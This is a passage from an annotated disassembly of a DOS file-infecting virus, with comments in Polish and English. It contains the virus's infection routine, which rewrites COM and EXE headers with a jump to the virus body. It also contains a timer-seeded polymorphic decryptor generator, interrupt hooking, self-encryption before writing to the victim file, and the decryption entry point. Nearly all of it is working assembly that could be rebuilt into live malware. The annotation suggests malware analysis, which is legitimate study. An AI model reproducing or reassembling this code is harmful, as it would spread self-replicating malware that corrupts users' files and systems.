	POP	DI				;99A9 5F
	POP	SI				;99AA 5E
	POP	CX				;99AB 59
	POP	BX				;99AC 5B
	RET_NEAR				;99AD C3

	CALL	L98AB				;99AE E8 FA FE
	JB	L9A0D				;99B1 72 5A
	OR	DX,DX				;99B3 0B D2
	JNZ	L9A0D				;99B5 75 56
	CMP	AX,OFFSET LF646			;99B7 3D 46 F6
	JNB	L9A0D				;99BA 73 51
	MOV	SI,AX				;99BC 8B F0
	MOV	BYTE PTR DS:0BEH,0		;99BE C6 06 BE 00 00
	MOV	WORD PTR DS:0C2H,OFFSET L0100	;99C3 C7 06 C2 00 00 01
	MOV	WORD PTR DS:0C4H,0		;99C9 C7 06 C4 00 00 00
	MOV	WORD PTR DS:0C6H,0		;99CF C7 06 C6 00 00 00
	MOV	AX,L0869			;99D5 A1 69 08
	MOV	DS:0BFH,AX			;99D8 A3 BF 00
	MOV	AL,L086B			;99DB A0 6B 08
	MOV	DS:0C1H,AL			;99DE A2 C1 00
	INC	WORD PTR L0867			;99E1 FF 06 67 08
	PUSH	SI				;99E5 56
	MOV	BX,SI				;99E6 8B DE
	ADD	BX,OFFSET L0100			;99E8 81 C3 00 01
	CALL	L9AD2				;99EC E8 E3 00
	POP	SI				;99EF 5E
	JB	L9A0D				;99F0 72 1B
	CALL	L98B4				;99F2 E8 BF FE
	JB	L9A0D				;99F5 72 16
	MOV	BYTE PTR L0869,0E9H		;99F7 C6 06 69 08 E9
	ADD	SI,OFFSET L081E			;99FC 81 C6 1E 08
	MOV	L086A,SI			;9A00 89 36 6A 08
	MOV	DX,OFFSET L0869			;9A04 BA 69 08
	MOV	CX,3				;9A07 B9 03 00
	CALL	L989D				;9A0A E8 90 FE
	RET_NEAR				;9A0D C3

	CALL	L98AB				;9A0E E8 9A FE
	JB	L9A0D				;9A11 72 FA
	MOV	SI,AX				;9A13 8B F0
	MOV	DI,DX				;9A15 8B FA
	MOV	BX,AX				;9A17 8B D8
	MOV	CX,DX				;9A19 8B CA
	MOV	AX,L086D			;9A1B A1 6D 08
	MUL	WORD PTR DS:0E5H		;9A1E F7 26 E5 00
	SUB	AX,BX				;9A22 2B C3
	SBB	DX,CX				;9A24 1B D1
	JB	L9A0D				;9A26 72 E5
	MOV	AX,L0877			;9A28 A1 77 08
	MUL	WORD PTR DS:0E3H		;9A2B F7 26 E3 00
	ADD	AX,L0879			;9A2F 03 06 79 08
	MOV	CX,DX				;9A33 8B CA
	MOV	BX,AX				;9A35 8B D8
	MOV	AX,L0871			;9A37 A1 71 08
	MUL	WORD PTR DS:0E3H		;9A3A F7 26 E3 00
	SUB	SI,AX				;9A3E 2B F0
	SBB	DI,DX				;9A40 1B FA
	MOV	AX,L0877			;9A42 A1 77 08
	ADD	AX,10H				;9A45 05 10 00
	MOV	DS:0C6H,AX			;9A48 A3 C6 00
	MOV	AX,BX				;9A4B 8B C3
	MOV	DX,CX				;9A4D 8B D1
	SUB	BX,SI				;9A4F 2B DE
	SBB	CX,DI				;9A51 1B CF
	JB	L9A6B				;9A53 72 16
	PUSH	SI				;9A55 56
	PUSH	DI				;9A56 57
	ADD	SI,50H	;'P'			;9A57 83 C6 50
	ADC	DI,0				;9A5A 83 D7 00
	SUB	AX,SI				;9A5D 2B C6
	SBB	DX,DI				;9A5F 1B D7
	POP	DI				;9A61 5F
	POP	SI				;9A62 5E
	JB	L9AD1				;9A63 72 6C
	ADD	WORD PTR L0877,87H		;9A65 81 06 77 08 87 00
	MOV	BYTE PTR DS:0BEH,1		;9A6B C6 06 BE 00 01
	MOV	AX,L087F			;9A70 A1 7F 08
	ADD	AX,10H				;9A73 05 10 00
	MOV	DS:0C4H,AX			;9A76 A3 C4 00
	MOV	AX,L087D			;9A79 A1 7D 08
	MOV	DS:0C2H,AX			;9A7C A3 C2 00
	INC	WORD PTR L0867			;9A7F FF 06 67 08
	CALL	L98AB				;9A83 E8 25 FE
	JB	L9AD1				;9A86 72 49
	MOV	BX,AX				;9A88 8B D8
	MOV	CX,DX				;9A8A 8B CA
	ADD	BX,OFFSET L0869			;9A8C 81 C3 69 08
	ADC	CX,0				;9A90 83 D1 00
	MOV	DX,DI				;9A93 8B D7
	MOV	AX,SI				;9A95 8B C6
	DIV	WORD PTR DS:0E3H		;9A97 F7 36 E3 00
	MOV	L087F,AX			;9A9B A3 7F 08
	PUSH	BX				;9A9E 53
	PUSH	CX				;9A9F 51
	PUSH	DX				;9AA0 52
	MOV	BX,DX				;9AA1 8B DA
	CALL	L9AD2				;9AA3 E8 2C 00
	POP	DX				;9AA6 5A
	POP	CX				;9AA7 59
	POP	BX				;9AA8 5B
	JB	L9AD1				;9AA9 72 26
	ADD	DX,OFFSET L0821			;9AAB 81 C2 21 08
	MOV	L087D,DX			;9AAF 89 16 7D 08
	MOV	AX,BX				;9AB3 8B C3
	MOV	DX,CX				;9AB5 8B D1
	DIV	WORD PTR DS:0E5H		;9AB7 F7 36 E5 00
	INC	AX				;9ABB 40
	MOV	L086D,AX			;9ABC A3 6D 08
	MOV	L086B,DX			;9ABF 89 16 6B 08
	CALL	L98B4				;9AC3 E8 EE FD
	JB	L9AD1				;9AC6 72 09
	MOV	CX,1CH				;9AC8 B9 1C 00
	MOV	DX,OFFSET L0869			;9ACB BA 69 08
	CALL	L989D				;9ACE E8 CC FD
	RET_NEAR				;9AD1 C3

L9AD2:	XOR	AH,AH		;read system timer time counter	;9AD2 32 E4
	INT	1AH				;9AD4 CD 1A
	MOV	AX,DX				;9AD6 8B C2
	ADD	AX,CX				;9AD8 03 C1
	PUSH	DS				;9ADA 1E
	POP	ES				;9ADB 07
	MOV	DI,OFFSET L0821			;9ADC BF 21 08
	MOV	SI,DI				;9ADF 8B F7
	MOV	CX,20H	;' '			;9AE1 B9 20 00
	CLD					;9AE4 FC
	REPZ	STOSW				;9AE5 F3 AB
	CLI					;9AE7 FA
	MOV	BYTE PTR [SI],0EH		;9AE8 C6 04 0E
	INC	SI				;9AEB 46
	MOV	BYTE PTR [SI],0BBH		;9AEC C6 04 BB
	INC	SI				;9AEF 46
	SUB	BX,DS:0E7H			;9AF0 2B 1E E7 00
	MOV	[SI],BX				;9AF4 89 1C
	INC	SI				;9AF6 46
	INC	SI				;9AF7 46
	MOV	BYTE PTR [SI],1FH		;9AF8 C6 04 1F
	INC	SI				;9AFB 46
	MOV	BYTE PTR [SI],0B9H		;9AFC C6 04 B9
	INC	SI				;9AFF 46
	MOV	AX,OFFSET L0821			;9B00 B8 21 08
	SUB	AX,DX				;9B03 2B C2
	MOV	[SI],AX				;9B05 89 04
	INC	SI				;9B07 46
	INC	SI				;9B08 46
	MOV	AL,0B2H				;9B09 B0 B2
	MOV	AH,DS:0E7H			;9B0B 8A 26 E7 00
	XOR	AH,DH				;9B0F 32 E6
	MOV	[SI],AX				;9B11 89 04
	INC	SI				;9B13 46
	INC	SI				;9B14 46
	MOV	WORD PTR [SI],OFFSET LC181	;9B15 C7 04 81 C1
	INC	SI				;9B19 46
	INC	SI				;9B1A 46
	MOV	[SI],DX				;9B1B 89 14
	INC	SI				;9B1D 46
	INC	SI				;9B1E 46
	DB	83H,0E2H	??		;9B1F 83 E2
	DB	0FH	??			;9B21 0F
	MOV	BYTE PTR [SI],0EBH		;9B22 C6 04 EB
	INC	SI				;9B25 46
	MOV	[SI],DL				;9B26 88 14
	INC	SI				;9B28 46
	ADD	SI,DX				;9B29 03 F2
	MOV	BX,SI				;9B2B 8B DE
	MOV	WORD PTR [SI],OFFSET L9700	;9B2D C7 04 00 97
	INC	SI				;9B31 46
	INC	SI				;9B32 46
	MOV	AX,DS:0E7H			;9B33 A1 E7 00
	MOV	[SI],AX				;9B36 89 04
	INC	SI				;9B38 46
	INC	SI				;9B39 46
	MOV	BYTE PTR [SI],43H	;'C'	;9B3A C6 04 43
	INC	SI				;9B3D 46
	MOV	BYTE PTR [SI],0EBH		;9B3E C6 04 EB
	INC	SI				;9B41 46
	MOV	DX,L0867			;9B42 8B 16 67 08
	DB	83H,0E2H	??		;9B46 83 E2
	DB	0FH	??			;9B48 0F
	MOV	[SI],DL				;9B49 88 14
	INC	SI				;9B4B 46
	ADD	SI,DX				;9B4C 03 F2
	MOV	BYTE PTR [SI],0E2H		;9B4E C6 04 E2
	SUB	BX,SI				;9B51 2B DE
	SUB	BX,2				;9B53 83 EB 02
	INC	SI				;9B56 46
	MOV	[SI],BL				;9B57 88 1C
	INC	SI				;9B59 46
	MOV	BYTE PTR [SI],0E9H		;9B5A C6 04 E9
	MOV	DI,OFFSET L0110			;9B5D BF 10 01
	SUB	DI,SI				;9B60 2B FE
	SUB	DI,3				;9B62 83 EF 03
	INC	SI				;9B65 46
	MOV	[SI],DI				;9B66 89 3C
	STI					;9B68 FB
	MOV	SI,OFFSET L07EA			;9B69 BE EA 07
	MOV	DI,OFFSET L0885			;9B6C BF 85 08
	PUSH	DI				;9B6F 57
	MOV	CX,37H	;'7'			;9B70 B9 37 00
	CLD					;9B73 FC
	REPZ	MOVSB				;9B74 F3 A4
	MOV	AX,OFFSET L351C			;9B76 B8 1C 35
	CALL	L98C0				;9B79 E8 44 FD
	MOV	DS:0D7H,BX			;9B7C 89 1E D7 00
	MOV	DS:0D9H,ES			;9B80 8C 06 D9 00
	MOV	AX,OFFSET L251C			;9B84 B8 1C 25
	MOV	DX,OFFSET L08BB			;9B87 BA BB 08
	CALL	L98C0				;9B8A E8 33 FD
	POP	AX				;9B8D 58
	CALL	AX				;9B8E FF D0
	PUSHF					;9B90 9C
	PUSH	DS				;9B91 1E
	MOV	AX,OFFSET L251C			;9B92 B8 1C 25
	LDS	DX,DWORD PTR DS:0D7H		;9B95 C5 16 D7 00
	CALL	L98C0				;9B99 E8 24 FD
	POP	DS				;9B9C 1F
	POPF					;9B9D 9D
	RET_NEAR				;9B9E C3

L9B9F:	MOV	SI,0				;9B9F BE 00 00
	MOV	CX,OFFSET L0821			;9BA2 B9 21 08
	MOV	DL,L082A			;9BA5 8A 16 2A 08
L9BA9:	SUB	[SI],DL				;9BA9 28 14
	INC	SI				;9BAB 46
	LOOP	L9BA9				;9BAC E2 FB
	MOV	AH,40H		;Write handle		;9BAE B4 40
	MOV	BX,L0861	;file handle		;9BB0 8B 1E 61 08
	MOV	DX,0		;bufer offset		;9BB4 BA 00 00
	MOV	CX,0869h	;byte count		;9BB7 B9 69 08
	PUSHF					;9BBA 9C
	CALL	DWORD PTR	L0863		;9BBB FF 1E 63 08
	JB	L9BC3				;9BBF 72 02
	SUB	AX,CX				;9BC1 2B C1
	PUSHF					;9BC3 9C
	MOV	SI,0				;9BC4 BE 00 00
	MOV	CX,OFFSET L0821			;9BC7 B9 21 08
	MOV	DL,L082A			;9BCA 8A 16 2A 08
	ADD	[SI],DL				;9BCE 00 14
	INC	SI				;9BD0 46
	LOOP	L9BCE				;9BD1 E2 FB
	POPF					;9BD3 9D
	RET_NEAR				;9BD4 C3

;------------------------------------------------
;	New int 1Ch (user timer tick) handling routine
;------------------------------------------------
	IRET					;9BD5 CF
;<------koniec czesci zakodowanej----------------


;<------ Entry point ----------------------------
L9BD6:	PUSH	CS						;9BD6 0E
	MOV	BX,0C771h	;skladnik adresu poczatku wirusa;9BD7 BB 71 C7
	POP	DS						;9BDA 1F
	MOV	CX,13A5h	;skladnik dlugosci wirusa	;9BDB B9 A5 13
	MOV	DL,0B0H		;klucz kodowania		;9BDE B2 B0
	ADD	CX,0F47Ch	;coded area length = 821h	;9BE0 81 C1 7C F4
	JMP	SHORT	L9BF2					;9BE4 EB 0C

	MOV	SI,SP				;9BE6 8B F4
	MOV	SI,SP				;9BE8 8B F4
	MOV	SI,SP				;9BEA 8B F4
	MOV	SI,SP				;9BEC 8B F4
	MOV	SI,SP				;9BEE 8B F4
	MOV	SI,SP				;9BF0 8B F4

L9BF2:	ADD	[BX+0CC44h],DL	;93B5h -> 9BD6			;9BF2 00 97 44 CC
	INC	BX						;9BF6 43
	JMP	SHORT	L9BFC					;9BF7 EB 03

	HLT					;9BF9 F4
	MOV	SI,SP				;9BFA 8B F4

	LOOP	L9BF2						;9BFC E2 F4
	JMP	L94C5		;-> jump into virus code	;9BFE E9 C4 F8

	HLT					;9C01 F4
	MOV	SI,SP				;9C02 8B F4
	MOV	SI,SP				;9C04 8B F4
	MOV	SI,SP				;9C06 8B F4
	MOV	SI,SP				;9C08 8B F4
	MOV	SI,SP				;9C0A 8B F4
	MOV	SI,SP				;9C0C 8B F4
	MOV	SI,SP				;9C0E 8B F4
	MOV	SI,SP				;9C10 8B F4
	MOV	SI,SP				;9C12 8B F4
	MOV	SI,SP				;9C14 8B F4
	ADD	AX,OFFSET L1600			;9C16 05 00
	
V0863	dw	16h				;9C18 16 17
V0865	dw	02C1h				;9C1A C1 02
V0867	dw	0013h				;9C1C 13 00
V0869	label	byte		;bufor na boot sector

S0000	ENDS

	END	L0100
